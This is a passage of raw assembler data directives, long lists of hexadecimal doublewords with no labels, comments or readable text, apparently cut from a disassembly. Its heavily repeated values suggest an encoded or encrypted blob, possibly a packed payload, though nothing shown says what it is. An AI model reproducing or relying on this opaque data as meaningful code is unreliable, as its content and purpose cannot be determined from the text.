0AD08C2D6h, 38CC0ED2h, 3BEF6C60h dd 0D581F9E3h, 3BF0F9D1h, 292E3CF0h, 44E800BCh, 2DF0F9E3h dd 3DF2D7F7h, 1C0364C8h, 0ACE800BCh, 58F1FEE4h, 0FD5342BFh dd 8CC33D20h, 0D201B00Ah, 0D238DC7Ah, 30D3A4A9h, 25DE62E8h dd 1DBAA057h, 0D27DA057h, 1978A4A9h, 3B1CCE8h, 0C7442F7Bh dd 285E6B58h, 0DF303D32h, 0F1BCAF70h, 0B32D7532h, 0E082AF70h dd 0F133A4A9h, 2F42BC15h, 5FF755B8h, 52F05F0Ah, 0DF062972h dd 0D2335FCDh, 69BEB90Fh, 0D233A4A8h, 1AFC6B49h, 0DDD65232h dd 0DDD6FA2Ch, 0D233B9C4h, 84FB5378h, 645289F5h, 0AF1CBECDh dd 0E4902406h, 0D233AF70h, 0D201A4A9h, 0D238DC7Ah, 30D3A4A9h dd 25DE62E8h, 1DBAA057h, 0D22BA057h, 1978A4A9h, 207F22E8h dd 47109A20h, 46E8B404h, 5EC6BDF5h, 0B01CBDA9h, 0A9D1769Eh dd 0E50AF70h, 8D7BED12h, 1AD96107h, 0A6E42FB2h, 0EC5E6BAAh dd 36FECDA9h, 615E6CBAh, 0B027D2EBh, 0ECEB1593h, 0D9976C00h dd 0A8315C1Bh, 406BEAA0h, 9B5F436Ah, 0A6EACFF7h, 0EB25DB7Ah dd 0D9F81B51h, 0CB9F6C43h, 0B0D99AD2h, 0E4B8C98Fh, 0F581A0C2h dd 0F015E392h, 17787086h, 0F24BB3CDh, 0D61EB8F4h, 779EC246h dd 71E30FDCh, 75BA2CB8h, 0F90AFF6Ch, 571CDF62h, 48E9D3ADh dd 0E7D8187Ch, 2546C4C5h, 0BA26C207h, 254047A5h, 0Ch dup(2541C207h) dd 20BDC507h, 0AF9C207h, 0C25C5F06h, 2002365Ah, 2C43368Fh dd 929CC52Eh, 0E3F9C20Eh, 0C25C5F13h, 200233C6h, 0D981BD05h dd 8F0EB9Ah, 0CB97A3E9h, 18D6D490h, 117DA1A7h, 8AA8A58Ch dd 3A745F67h, 9EBE5A66h, 55075383h, 0B8C4567h, 0BA993CA9h dd 3EBFC9E5h, 0BBC39751h, 0DF93B7F2h, 0CBD31FABh, 0A11C2BBBh dd 0CBD23855h, 0CF50A167h, 43425504h, 37DDFC8Ch, 8BB21ED4h dd 0C98278A7h, 0A6B1B6CAh, 68BBAC57h, 0B27BE2D9h, 2541CEFBh dd 0A1313792h, 6E145684h, 1FD07DFh, 6DAEDEF6h, 0A0D007DFh dd 762DC565h, 668CD1C9h, 370969CDh, 6C73C21Dh, 0FB4DAE1Dh dd 0AC8862DAh, 4829F131h, 0F429B501h, 6288513Eh, 0FBA03470h dd 5B1231E5h, 150A2A83h, 0E7F13A2Dh, 20731D0Eh, 0D0D1CE9Eh dd 7172EA1Ah, 712069C6h, 6CAF578h, 0A13498D8h, 0CD84221h dd 5C5CBFB3h, 0C903671Dh, 37038C50h, 0A258D561h, 58F5FC8h dd 0C3FAC7E8h, 0B5E6FC72h, 0E2A9F30Bh, 0CA757EBDh, 836F16BDh dd 0F4570782h, 84397003h, 0D849D7E5h, 5C528726h, 0CE39854Dh dd 0D71FD00Dh, 1DD1EC92h, 0CF1D76D2h, 0C54A849h, 6AC9C207h dd 0EECFFF49h, 6934A693h, 0E26A0953h, 0A637C2B0h, 0E557E67Ch dd 5434A8B6h, 20CD71A8h, 880AC4Fh, 15DA66ADh, 0EB085735h dd 66B1C801h, 5898BC4Fh, 0BC7C1198h, 6DABDBEEh, 7F7CBCDFh dd 0D763F365h, 0F0ED8EBBh, 0ABA57FB9h, 2181DC5Ch, 11412804h dd 4608E59h, 6B7CBC13h, 6E37341Dh, 22EA0D4Ch, 0CAC2032Ch dd 5AB6EAA7h, 0C8302C30h, 24FE9F76h, 0A9898B07h, 0C7F6C105h dd 0C9D07B91h, 1426EBFBh, 0DB7FD68Bh, 833220F4h, 0BF9A77AAh dd 0F13EC799h, 0BF9A77ACh, 293DB49Ah, 623F4D45h, 0DA621D0Ah dd 3D92E68Ch, 347180E1h, 668C0F09h, 62EA3131h, 0E9E01D0Ah dd 0AA358ABDh, 0C335EC09h, 0BA9AAE94h, 6B5322E5h, 800C76B1h dd 0A9866174h, 0C4B707D2h, 0BBCE2816h, 0B3F583A2h, 87DA801Ch dd 0F741C207h, 4105854Fh, 4829EFADh, 64FFAF39h, 4F0B5423h dd 248144CEh, 0FC475EB2h, 75ECCFE5h, 0C3AAB11Dh, 278928BBh dd 69E264B0h, 7220D24Bh, 0EDB1C712h, 3022DA8Ch, 7527153Fh dd 8CE012E4h, 47694A7Ch, 0D47BEB9Bh, 2541CDC7h, 3D92E530h dd 6DF280E1h, 336B1EE4h, 0B4E693Ah, 0CCCA965Dh, 0DC7B524h dd 1509FA83h, 8BF2604Ch, 1EC621DBh, 0A1EA6A8Eh, 1F5F4691h dd 0DE610F47h, 254492DCh, 83C64D07h, 1D35CF5Ch, 7C3121D3h dd 0FD49A9B4h, 97BA50DDh, 0FCFA3B6Ah, 0CB49FDDh, 5F4255F7h dd 97DDFB38h, 57A8A145h, 0FBAF920Ah, 97796148h, 1BC8FA60h dd 5DB9187Eh, 0B6FF29B5h, 0C12B706Fh, 9574F664h, 575D1880h dd 0EF3C0792h, 0DC63BFh, 0E8B90135h, 12D9165h, 0C4358ABEh dd 10A0D2B0h, 6455BDEAh, 4641C206h, 629A440Eh, 930A537Eh dd 74BC4A19h, 381A0237h, 88714C73h, 2D9615EFh, 0FEAB18B3h dd 0FFFEB750h, 0DABF0A9h, 34184B5Ah, 1503E578h, 0D32EA63Fh dd 484A875Ch, 11F820Fh, 7ABE0510h, 6830D5DAh, 2C8AFACDh dd 70A9417Dh, 0EA397317h, 0BAED3C23h, 77442B97h, 0BFB94D6Fh dd 0F32C0B1Ah, 0A318DF7Dh, 0CCFA2B33h, 48267BD7h, 1A6531ADh dd 3123F0FDh, 0A4C88450h, 37E94870h, 91387F62h, 0BC89DA26h dd 0ADE76ACFh, 4826C698h, 3E17C720h, 0FBAEAB00h, 32038C4Fh dd 9668A439h, 13B1C7D9h dd 0B7489A22h, 5AB1C7D9h, 62DCFBD4h, 150A0457h, 0C7669739h dd 0E2666E11h, 74D5812Bh, 9CDF5CFAh, 6B530D7Dh, 3D59DB4h dd 0D870A2Eh, 8CD07CADh, 25403364h, 0CD2ABA07h, 5AFE56A5h dd 66B2E1D4h, 657C0576h, 55F91C8Bh, 7A5FA243h, 6F5D71BAh dd 0A0ABC8DCh, 0CAC214DDh, 0DA314DA7h, 0F3B64279h, 62209DCEh dd 86249857h, 0B55B6D25h, 465B4013h, 0E3DAD30Eh, 5128D1D5h dd 4C786945h, 9D1C9367h, 0B417D57Fh, 7B5F3C3h, 6877F915h dd 84C39751h, 29BF4C19h, 0D682BEE9h, 0CEFEE99h, 2541B135h dd 94DD4407h, 0D59E34A2h, 68717983h, 80C7D8C6h, 1927D24Bh dd 6C60B0FCh, 1728C764h, 8522B2EEh, 1723DE57h, 6A22B2EEh dd 182AC956h, 6C21B1FDh, 3CA9C764h, 2541C862h, 0A1B50CAEh dd 21014C1Ah, 8C41C207h, 48D6B922h, 972746DBh, 21174C1Ch dd 8A41C207h, 2541B924h, 0AF4B07h, 14724F2h, 2543BE9Eh dd 11F2507h, 0F8F745EBh, 48DA27AEh, 21143FDBh, 0F8966486h dd 0B7C3442Bh, 0CF275Ah, 30CADC89h, 12D816D6h, 446445F1h dd 0D8C207h, 1543FDAh, 91F9673Ah, 0A241CBA2h, 4BCE19C9h dd 145B32Fh, 21144EEFh, 5AB509BCh, 0CB7FEEAEh, 2541C239h dd 98587994h, 0B75D19C9h, 2002334Ah, 53C91E6Ah, 0C5C5F3Bh dd 2361C17Ah, 21B1ADECh, 0E98BA75Dh, 0A3E29762h, 45EEE328h dd 9B3D6795h, 0FC4402C9h, 3227891Dh, 3CACB261h, 6C8E4B5Ah dd 6093B068h, 25816ECEh, 0EEB117C7h, 2B545339h, 6DB49F2Eh dd 7AA27019h, 0E7F25349h, 0D3C2C01h, 0A95AA78Fh, 92ABBFB3h dd 0A48FE0E5h, 0FF5D9C94h, 0B8DBCF13h, 0B2E41845h, 0FD9B40B6h dd 0F92014E6h, 0A5F4B24Ch, 0FFE7495Dh, 9B82EB7Ah, 24B1C7B6h dd 89E0BD5Fh, 0BD1E4C4Dh, 2541C23Ah, 0D0AC247Fh, 2C837570h dd 33CBADBFh, 0CBC35657h, 25416BB3h, 0ED6C3BFh, 970B0089h dd 1BFF257Ch, 0B4C76BE9h, 0CFC46192h, 0EA0D151Bh, 0F3376488h dd 0B1C05B88h, 0FE714D34h, 9F89CCB0h, 129DD777h, 1BFF2527h dd 2541BE0Fh, 9347CE07h, 0FBD4A300h, 3124F04h, 267C4544h dd 1485D171h, 331A9B41h, 96587186h, 0B6C215C1h, 0B25D8039h dd 6C353D5h, 1FBD966Ch, 20203940h, 0A4AFC210h, 632717FAh dd 0B7FDB8C5h, 0B351C8CFh, 623285Bh, 40DC7B4Dh, 8AEF31D3h dd 0B5E5437Dh, 8C7517FAh, 158011E9h, 7BBA6617h, 0C70AE06Fh dd 97DC7EAh, 36F6F5E9h, 4E787216h, 0E4C9A67h, 0B78F22CCh dd 40FD6C7Dh, 30960D6Fh, 40DBE170h, 93F0C1A2h, 15EFF570h dd 0A4CBE750h, 0A1270356h, 9BA4D5FAh, 20DC467Ah, 97D17F0h dd 0D3CEEE88h, 0D1547Dh, 44DCB076h, 0A12717EFh, 556D92CFh dd 0A4C6F501h, 0A1270655h, 2A1B35FAh, 2592B588h, 0A12717D4h dd 42E6BFh, 8F157A69h, 972948FBh, 0D0337819h, 8D5F7AC7h dd 77EA4AB6h, 7F295EA1h, 0BC494BFAh, 1CDFC3AEh, 7D2EA91Ch dd 2AF7A77Fh, 0DE74B6B8h, 33646317h, 7F5DA7B6h, 0EF256DB2h dd 0FA36B6D7h, 0AD604656h, 0C0DCC0FDh, 0B322777h, 0E36F6268h dd 13CB227Dh, 99612D79h, 27C709E3h, 4AB1F7Ah, 9212F303h dd 7FB520D0h, 0ABDC48FAh, 0F367E6F3h, 4AB1B302h, 7FB52043h dd 0C34C48FAh, 0FAEAF0B7h, 696041D3h, 0FF2948FAh, 9AA6848Dh dd 0E8A281C8h, 7F2948E5h, 5B16C76Ch, 7F9021F1h, 470848FAh dd 7D5E9C6Ah, 845F8195h, 5EC22F17h, 611C6307h, 946F1704h dd 0ED99441Ah, 74721094h, 7BA3853Ch, 7C77C7D0h, 0D0503C25h dd 353C4F5Eh, 0CD88A769h, 9144A767h, 0B353C26h, 0FE2EE95Ch dd 86891965h, 21BC5C7Fh, 0E0C104D3h, 0CDBC5139h, 0B5F0EAFAh dd 0D7BC510Eh, 94702FD6h, 7C703B80h, 16676D55h, 7497F5C9h dd 0DA87EFF3h, 63182DD8h, 3AD85F8Ch, 0CE41148Bh, 7C703B80h dd 166D3625h, 7C703BADh, 4ED39C25h, 0E87E04D4h, 0E82E2D07h dd 7C719007h, 4F7CFE25h, 187209CAh, 0A4BCD99Bh, 65F1049Eh dd 0A2BC5C7Ch, 0B902D49Ch, 0F3E34980h, 0C78CA2FDh, 0FD703C23h dd 0B9726489h, 0CCC1A680h, 1DBC5C81h, 90266E16h, 0DC703C26h dd 0FCD47EF9h, 56D9BFCh, 796D9BCDh, 0C6703C25h, 0D6557ED1h dd 2A2A1441h, 0D2847146h, 0EE890E00h, 0B0889A04h, 68AE12D9h dd 7C77BB08h, 77F03C25h, 0A36D47BAh, 0B915F2BCh, 88B22A80h dd 0DC55945Ah, 417AD8B9h, 0BD4653B1h, 849B8C02h, 0B8665938h dd 0EECA2EB3h, 0CE09271Ah, 24DF859Eh, 147A97FBh, 0E61916C3h dd 0AA0D20ECh, 9EFC97C3h, 0F024AA16h, 570DE74Ah, 5E4785BBh dd 3D0B5300h, 0F536D1EBh, 314B7F6Fh, 9D2B6D6Dh, 2767235Ch dd 3D7243C1h, 0AA5E79FAh, 3BFBCD2Dh, 0FFBC5363h, 52C6F3D4h dd 0A0363940h, 43707C30h, 65BDE20Ch, 4F58A32h, 0E081E3F0h dd 2C732F4h, 0D61DB0FBh, 0E468EE98h, 54C5EC8Bh, 89CC3DFEh dd 1CBC8B48h, 0B2D20449h, 0A7D2044Fh, 72CC3B8Bh, 1C7F8B6Eh dd 2C1E8209h, 0E51619DBh, 0C607641h, 0C769050Ah, 889DB98h dd 9CAD1F04h, 29CC3938h, 5C4F5AFEh, 4AB04CCCh, 0C7625513h dd 3FB4D398h, 0E4CED7FEh, 29D93F43h, 0EDB1DFEh, 6BBA2956h dd 6B92BC91h, 29CE1091h, 0E230CFEh, 0A65BBE5h, 0C7EBB3D0h dd 714EB6A5h, 47E87A8Bh, 2A69D6C3h, 2ACC3DFEh, 29CC3B8Ah dd 0EA22FE4Ah, 177C15A5h, 0B1D9C3BCh, 8B0C7180h, 0F7EE1B1h dd 9CAC4EF4h, 29CC2338h, 0F66AB3FEh, 4A09E03Ah, 0A54A38B2h dd 3D69826Ch, 99BCA9D9h, 1ECEA97Ch, 9CACF5DEh, 2EC13DC1h dd 9CAD2D0Eh, 462E8C1Eh, 23F9FFCBh, 0F06A19A3h, 5B31BB2h dd 9C07E702h, 0BA10D973h, 99D05C4h, 37B01425h, 2F34ABE6h dd 0FCB43F47h, 0BFD4203Dh, 0BEEF06EEh, 0BB91DF7Dh, 6993AA8Fh dd 0E4341F1h, 7C7A366Bh, 8CC47D6Fh, 0A80407D7h, 0C4ED6F1Dh dd 3ED06A64h, 0CD473CD4h, 6A814884h, 0F1BE50h, 0CF29E231h dd 75A59C3Ch, 5A16F665h, 0FB2AC63Ah, 0F7A6B23Bh, 59C59E7Bh dd 2B92283Ah, 0AAA6B168h, 60BFEFDCh, 3077CC3Dh, 0B6BFEF14h dd 7620BC45h, 0AE125B40h, 0F4124AFAh, 6FBFEF3Bh, 5525BC28h dd 778F9028h, 0F5F54A9Dh, 52167E51h, 16BE46CEh, 4F90EF14h dd 0F5F52636h, 232DA39h, 188846DCh, 1718071Fh, 485FEF14h dd 64261078h, 2C96FB21h, 16DCFB21h, 3FD8EF14h, 49A77B78h dd 359161F5h, 0EBBFEF14h, 0D2141A79h, 0F5F54D27h, 2439F995h dd 188846DDh, 0F3FDFA3Bh, 0D89346D0h, 0F04817B5h, 46C88DE2h dd 0B35647DEh, 0C570843Ah, 0CD4DB909h, 0D62C5B5Ah, 0BE99BF2Ah dd 3542760Ah, 44FF471Ch, 0B5207697h, 0EA6A476Dh, 0E69B24FEh dd 8D0AC07Bh, 0ADE64CE4h, 0F2318A7Dh, 41E4DC54h, 599F3655h dd 0F3F79F5Fh, 7C569910h, 5426C54Eh, 6CE9F5D4h, 0C9C5FCEh dd 22CF341Dh, 0BF8FD7EEh, 0DF1F4CEDh, 2CF0D211h, 6420A9EBh dd 97C56AA8h, 9F424C17h, 0A1CE8F9Ah, 0F50AFF20h, 0BF8F4297h dd 0B904B544h, 23DC3C5Ch, 454BB224h, 370D6B3Eh, 0BF424CFBh dd 9F957CB6h, 704240A7h, 348FFF8Ah, 1E7E33C1h, 0F6365634h dd 2C07A357h, 33D4241Eh, 0A723DB22h, 0B37C19DCh, 33DCD65Dh dd 88A25DC1h, 27A3B773h, 0C653CB3Fh, 54B60059h, 0F0356DB9h dd 0E230EB2Fh, 0C0F905AAh, 23BF3DD9h, 0E4F0AD96h, 40048331h dd 0ECC24C68h, 400474A1h, 11A2471Eh, 74479931h, 2B8DE9D8h dd 0EA393961h, 0E4082E1Ch, 4F3C63A6h, 0EABD5DC1h, 0BEDB431Ch dd 34BD153Dh, 0E6618BC1h, 96975D15h, 0ADD9BA77h, 11F8F13h dd 0EDC4C76Dh, 2CF3E2F9h dd 9E70C6F9h, 2676546Ah, 0EC0EE63Fh, 70733766h, 0B0E48DDEh dd 0BDAB3901h, 0B004F99h, 9E4044C5h, 97DB41AEh, 0BC305B41h dd 3AAB2C99h, 42697509h, 51E8B211h, 0BDA79C39h, 3E5E2C99h dd 0F0A0200Fh, 345D5195h, 0AAB1333h, 19E0B264h, 0C2AB2D62h dd 90C0F57Ch, 9CAB2C9Fh, 0BDAB2D2Eh, 0C1279527h, 5865A6C6h dd 4D62420Dh, 657D597Fh, 8156B089h, 0F7A39A95h, 0BDA5EA68h dd 0A7C52C99h, 9A2AF065h, 4FA81107h, 345EFCA5h, 82644CDAh dd 4CD24A56h, 34A38E39h, 0D79552DAh, 0E22E38C1h, 0C2AB2C99h dd 89BB9A7Ch, 0F43B431Ch, 30FEA2A6h, 90263213h, 84F06676h dd 3E46EA1Fh, 0F1015F1h, 0EC729C13h, 0F75E4A52h, 3E42F22Dh dd 338515F1h, 56C0817Dh, 58AC2CD0h, 8D77E44Ch, 5AB9F4DFh dd 5C2F617Bh, 6BF056E6h, 927CDDF0h, 0E7766970h, 0BCCA0A69h dd 984DDC14h, 0D5CA0A83h, 0EF97A8EFh, 8BCF5DEEh, 662F2767h dd 0E2C3CB41h, 0A1C3BD4Bh, 44CF5DEEh, 9159278Bh, 0F37562DFh dd 50CF5DEEh, 6BF057DEh, 28491CF0h, 17CA09CBh, 0D5F05716h dd 0EF97ADEFh, 8BCF5DEEh, 66262768h, 0E2C3BD49h, 7EC3BD4Bh dd 0ABCF5DF0h, 0AC442A1Eh, 0F75D6E79h, 6E07EB65h, 6BCF6898h dd 15FCBEF0h, 250FDF5Ah, 0C953EDBBh, 0EFB7CE7Ah, 0A81F5866h dd 0A159E7CAh, 6BCF5C0Fh, 5FD15DF0h, 6BC36C8Bh, 0BC6F5DF0h dd 0C94A098Eh, 31425D6Bh, 6B3D5D6Ch, 0B4B45DF0h, 0E5AD938Eh dd 6BD0DE51h, 66CA5DF0h, 0E6BEB40Ah, 8F8D17A1h, 5FD15C0Fh dd 6BC36C75h, 0BE6F5DF0h, 0B949EF8Eh, 31425D6Bh, 6B385D6Ch dd 0D5865DF0h, 60BCA78Eh, 797E5646h, 60CA0A59h, 0BE6D0635h dd 92CAFF5Ch, 6BCF6196h, 10BABDF0h, 8F76E171h, 8F8EDE8Ah dd 6BCFB28Ah, 0C432AAF0h, 5FD1AE9Ah, 5095379Fh, 1EBC5C1Dh dd 55A34EA3h, 739F69C9h, 24E17C67h, 7E17C7FAh, 0CA02E5DAh dd 0B1812BD5h, 84F463B6h, 281B09B5h, 3296F995h, 0F3C95D58h dd 0F50FAE5Fh, 0BC706BEh, 98E58B8Bh, 923DBDB1h, 179C4AB2h dd 21F87C40h, 0AF53DCE7h, 18A313D2h, 0D68E22E7h, 1DB00B8Bh dd 1D6801E3h, 1854BEE3h, 0D6863DE7h, 0EB7A71D4h, 0BDAA48F0h dd 17C7BAB3h, 18A38040h, 0F8D2FBE7h, 0D5AA43ADh, 0CC3B4943h dd 0AF53E23Fh, 18A313D2h, 0D68E22E7h, 1DB00B8Bh, 1D6801E3h dd 18A386E3h, 0D6863DE7h, 0B93FCA97h, 6EEA573Fh, 0E477B0Eh dd 5EAA48C1h, 217F10E7h, 0B8A382E7h, 8082C580h, 0A39B0BA7h dd 849B39A5h, 12A382EBh, 0EB7456FDh, 18A387E1h, 0B43F3A34h dd 98F21598h, 0DA6307AFh, 0B13CD847h, 0E0C33F0Ah, 18A3889Bh dd 967E678Bh, 0BF50DF95h, 58308005h, 218E4D93h, 74F1CF3Eh dd 0D5D08B89h, 811C9C39h, 3DD8464h, 3CFCF0EDh, 45D56238h dd 0B3636D17h, 6103BAB9h, 73BE1D94h, 5763F9A8h, 50300A1Dh dd 6B0D5E9Dh, 0C26DA426h, 9A63F63Ch, 0D52FF579h, 2D8F82Dh dd 8B065425h, 6A1416D7h, 0DDB1BCDFh, 96B1BD39h, 26065424h dd 0D27143Bh, 8CCC31EBh, 0C979A797h, 2AFF2B7Ah, 0B32FF019h dd 8C0D5E06h, 0C951A7FFh, 0FAFF2B7Ah, 6B2FF57Dh, 0D5065426h dd 295BA2Dh, 8B065425h, 6A62143Dh, 0DDB1BD2Fh, 0A3B1BD39h dd 44065424h, 863016D9h, 16AFE6D9h, 0EA149D73h, 6008F49Ah dd 0C93E9E5Bh, 0D279E97Ah, 605B1D14h, 0C952DBFBh, 0E91E97Ah dd 0D5C6C80Bh, 14955507h, 79EF91E0h, 0DAD56B60h, 8F7F35AAh dd 3256BEEBh, 0C77CB4EDh, 0F76D349Ah, 0A2B312FDh, 45632D67h dd 0DE393146h, 63F90AA8h, 0EBF20121h, 91210647h, 0C8B1D7EFh dd 2B3E10D5h, 3879C057h, 7ED1281Eh, 1191D49h, 0B8C67672h dd 6C4B69B6h, 80B33EE1h, 3879CE2Eh, 7655048h, 0E0CCC25Ch dd 9FC927C3h, 611CAD14h, 4214564h, 46102F2Bh, 38952771h dd 3894F856h, 8679CE1Eh, 96D0D070h, 0FEC8B333h, 9469ACBFh dd 0F182DADh, 0D90079B7h, 0D9B53EE0h, 5D7E20BAh, 803B2ABFh dd 3879CE3Dh, 7A81AFFEh, 0FF7A49C6h, 898944A1h, 3A2EB33h dd 593A80C5h, 0CD5D3A95h, 0A179CE49h, 0B08AA483h, 0F5B6B1CCh dd 0BF5C33E3h, 0FAA014C8h, 9210333Ch, 0E7A76EE3h, 0DB0ED8C4h dd 373CD50Ah, 0D3B3F68Dh, 0B23CF8D7h, 3379CE49h, 3879CE15h dd 34FF427Eh, 0C3A4CA1Ah, 9E6AC60h, 0AEF0CD5h, 5E917FB8h dd 0BF43513Fh, 42AA3EE0h, 0E28FDF9Eh, 0E542BEC4h, 0AAC8390Ah dd 0B515A1Eh, 2D82B2BBh, 17FBFFC4h, 5186CFBBh, 0FAC001A0h dd 4A1FE23Ch, 76A52045h, 0AD4CBD2Eh, 4976DAA1h, 0ABE4C1Eh dd 7668E50Ah, 8B3E2C7h, 9FFD442Ah, 9A4DBA85h, 18ACBD44h dd 0D9245C7Bh, 71CC466Fh, 9FA1466Ch, 0F0DBD44h, 2F4CF47Bh dd 3E96C028h, 220343FEh, 6717BD46h, 0FC705B22h, 0AD4CBD44h dd 435CBEFEh, 0AD474DC0h, 187B24E4h, 0B3A80199h, 0B3A80035h dd 0AD4CBD42h, 967B2284h, 9B1F7F96h, 805FACFh, 0FCA8600Ah dd 0A3FEBC18h, 76A531E9h, 0AD4CBD2Eh, 9E1B3CC5h, 0ACDEEFBCh dd 0B14984C4h, 3173EA53h, 9FFD43FEh, 507BEA53h, 0DDD24429h dd 0CB31B778h, 0B2A9E8A0h, 0A43951CDh, 0C76D04EDh, 3B4034DDh dd 0A3704560h, 0A3FD4337h, 34D50EBCh, 4304D4C2h, 0E28F359Bh dd 545B1199h, 3C4C2326h, 70CF2BDCh, 0E3BDC47h, 3A7940ABh dd 8B82E5E2h, 0A5BBF26Fh, 87C858F9h, 107CDDFBh, 0AF710DDFh dd 1F496260h, 0E1262C3Eh, 0E1D86C0Bh, 8F2507E8h, 3FB7742Bh dd 3FF077E2h, 0BB434529h, 7DAE036Ch, 8B9C500h, 2C3E9F65h dd 2F855C74h, 5462249Eh, 0CBDFCC31h, 0DA5EBB9Eh, 0FC002D6h dd 0ED4228FEh, 0D4F54354h, 83145CD9h, 0BAFCCCA3h, 0BECAE240h dd 68207444h, 5E4FCC26h, 0FE2FE5C7h, 56D5EA94h, 604EF9A2h dd 0A635B17Eh, 56D5CF14h, 913C09A2h, 0EE6FF14Ah, 56FCCC31h dd 1147ABD8h, 6CB99846h, 9FE2E809h, 1A8353B4h, 768AF4FBh dd 0BF2DBBC7h, 0BA244B44h, 0B382DAFh, 0B58F93AAh, 6F504A9Eh dd 56F0C1C1h, 0DB6D5182h, 0EEFCCC31h, 546B180Eh, 0CE7F5331h dd 2B332036h, 55FCCC15h, 0AA6B8208h, 0D5586E6Dh, 91A377C4h dd 0A374C97Fh, 54FC43AAh, 0F8B7508Fh, 2B38440Ah, 8634F8F4h dd 0A1BD5803h, 7471FA98h, 8ACDDF73h, 1F442F50h, 0ED23D29Bh dd 751088E8h, 0C5161B8Dh, 15DDA2F0h, 0E7591E8Ch, 6D025E6Ah dd 0C4CDD8F2h, 67AEB7D2h, 0CC890AACh, 0C53F5428h, 1145BE6Ch dd 0D6486666h, 0E35ED298h, 75AE175Fh, 0E62AEB0Dh, 0E35ED2C7h dd 87833E27h, 8A48666Ah, 0E361F808h, 911D0F97h, 9548E81Ah dd 3CDDF3Eh, 3A438B34h, 3BA666Ah, 0F91FC734h, 671A646Ah dd 8AD06873h, 0E7AFDF3Eh, 0F95FAE58h, 0B1CEAB76h, 2FCDDF19h dd 1FB3CA5Fh, 14760583h, 0DA5B3606h, 5F681FD3h, 1B76D080h dd 6289FAF3h, 80760582h, 95760002h, 0A7E58A82h, 4F066996h dd 2D69B3B6h, 188BFF64h, 95768A34h, 898653BFh, 9A5DFEBEh dd 1172D4B7h, 0E8627C60h, 85378773h, 64CB7C66h, 957627AEh dd 9577DD82h, 0D8EB0582h, 11A8453Fh, 72986282h, 95AADDDAh dd 8F430582h, 0F0206349h, 0A41ACAEAh, 0E31E6EF3h, 0B9272092h dd 0F5E1AABCh, 2A9C2710h, 0A4F8EFA1h, 3FF36782h, 7F8D1F71h dd 0AE066831h, 0B6E0A796h, 9170DEE7h, 22960582h, 0E3FFF6Fh dd 0F7323F7Ch, 0D392015Fh, 4F872BB4h, 98CCDC1Eh, 30A1875Ah dd 912F1916h, 3E638AE8h, 98BB0713h, 0F5B98637h, 80AF89B1h dd 9576202Bh, 9155DC82h, 0BDD0582h, 8DEB4D78h, 7A8B4A1h dd 0B21176BEh, 0B0A650EEh dd 3376046Eh, 0AB5C2F15h, 73319210h, 160CD9FBh, 0F68479C5h dd 10AF8868h, 3562D93Eh, 1E7010B3h, 0E8E47F77h, 6B3DF529h dd 0B4F0F6B2h, 0D761F7E3h, 0FA63F42Fh, 7738F54Bh, 0C9C66113h dd 680F7199h, 5C1FD7A6h, 5AC16EA5h, 9FB7F4AEh, 4EC4F3B5h dd 883CEDCAh, 593909D4h, 0C0423412h, 604F262Fh, 3A5D316Ah dd 8E5388CCh, 0D83E247Eh, 4EE6D917h, 18656733h, 45B6F089h dd 86BBDAAFh, 4EF401B8h, 649ECC64h, 46B9BCBAh, 0E2A85898h dd 1B7CFDB1h, 0B91FD44Ch, 0CDEBDECBh, 0BE08ED2Fh, 5E5F521Ah dd 3B65F4AEh, 3938F4CBh, 5C246FB0h, 3E85F4AEh, 0AA11EBBCh dd 2D3F4CAh, 7738FAA5h, 0F6490F27h, 4FC020Eh, 5E38F4CBh dd 0A50F5BF2h, 0B91FD09Dh, 8BBA3D33h, 71CEBC21h, 8DBD6E9Eh dd 0BC3847EEh, 0FA71A51Ch, 4A85EF61h, 5CC8C7CBh, 0A0A766AEh dd 0B91FD09Dh, 795EC833h, 0B6A48921h, 3F67EC8Fh, 0C9C99051h dd 5CC94C99h, 986EF4AEh, 0E6BEB896h, 9B0A939Fh, 6D1FD592h dd 3AD06FA8h, 6DF339D9h, 0FD1083AEh, 7938F465h, 0FDA4C0CFh dd 0A7B2B7ADh, 79B9020Eh, 55BA8BA8h, 3E4F67C1h, 21B90200h dd 4F63B84Ah, 18E2B6FFh, 89B9020Fh, 9F5D3822h, 0C152D8A1h dd 4EEA8D5Bh, 1E1E4E57h, 0BE93460Ah, 0C00174CBh, 0BB7CD2Fh dd 0A26937CDh, 39A5C272h, 3211DEE1h, 7938F4D3h, 6DBAB419h dd 77391913h, 9DE339AEh, 0DA9C0FF1h, 58B67028h, 0E6193256h dd 7738F49Bh, 9D553BD2h, 2C9BFAF5h, 0DCBF5836h, 6A26B675h dd 879D56F7h, 0C9CDDE13h, 0FF1CB699h, 576D00C5h, 0A275399Ah dd 0D6A003D9h, 8A0AE303h, 0E5E8D766h, 5CCDD00Ah, 0F69301AEh dd 0E86439B5h, 0D848DD2Bh, 0B7C3AE30h, 1D33576Ah, 0C39BFFC4h dd 0C149576Ah, 9A49576Ah, 0C14954D1h, 0DF5DDDF4h, 0F488DA48h dd 50EAF258h, 0C6DF9E9Fh, 6EEE9669h, 0D9960422h, 91F7B9A7h dd 934B6F79h, 8C83B5AAh, 216282B0h, 0AD916B39h, 235393BBh dd 7162714Ah, 0A411C5B1h, 0A5B99356h, 0ECDB991h, 0EAF8F1DBh dd 601F543Ch, 0EBB7A1A6h, 9118DC16h, 5BCA165Eh, 74C65F09h dd 893879FDh, 30621DB5h, 0FD4A8EDDh, 5C8BD32h, 3D9F378Ah dd 0ED5C051Ah, 0ECFA5211h, 1891501Ch, 42F7CD32h, 8E10D062h dd 0CA2FB6F4h, 223A7E02h, 951F4FD9h, 64193DE4h, 0BF185E65h dd 3EFFFBC2h, 39D11D8Fh, 1686E2EBh, 0BA850321h, 96EBFBC4h dd 2FEA80F6h, 0AF60C2DFh, 0B6ED0762h, 92EE41BEh, 15523232h dd 0BE5EBA48h, 392F5F15h, 0A2674D56h, 0DF495770h, 7162702Eh dd 2C1175DEh, 0A666239Fh, 26B63284h, 0C33D16F7h, 752576Ah dd 0AB3E6C78h, 212CF8C7h, 75877951h, 0EE3CC298h, 0B0FA4966h dd 0C72E4AD8h, 7B356D11h, 7D7F9CF5h, 23E40E7Ah, 116EC238h dd 8EFECC5h, 7D7FA36Eh, 71885700h, 0E5EAC812h, 0D9E73BAh dd 0FF06CF44h, 19591224h, 0BFB8E587h, 0E24B9E38h, 54180C4Ah dd 0A1CB4235h, 0C318DD8Dh, 0D8B637D9h, 0DB89373h, 0A5B9A2CEh dd 0A71BB62Eh, 8C84FCE8h, 0A5B98CC5h, 16F6D2E9h, 0B0B5B309h dd 0B30F5398h, 0E5469E4h, 4E022502h, 4E968DBEh, 6CBD1930h dd 0C1461F09h, 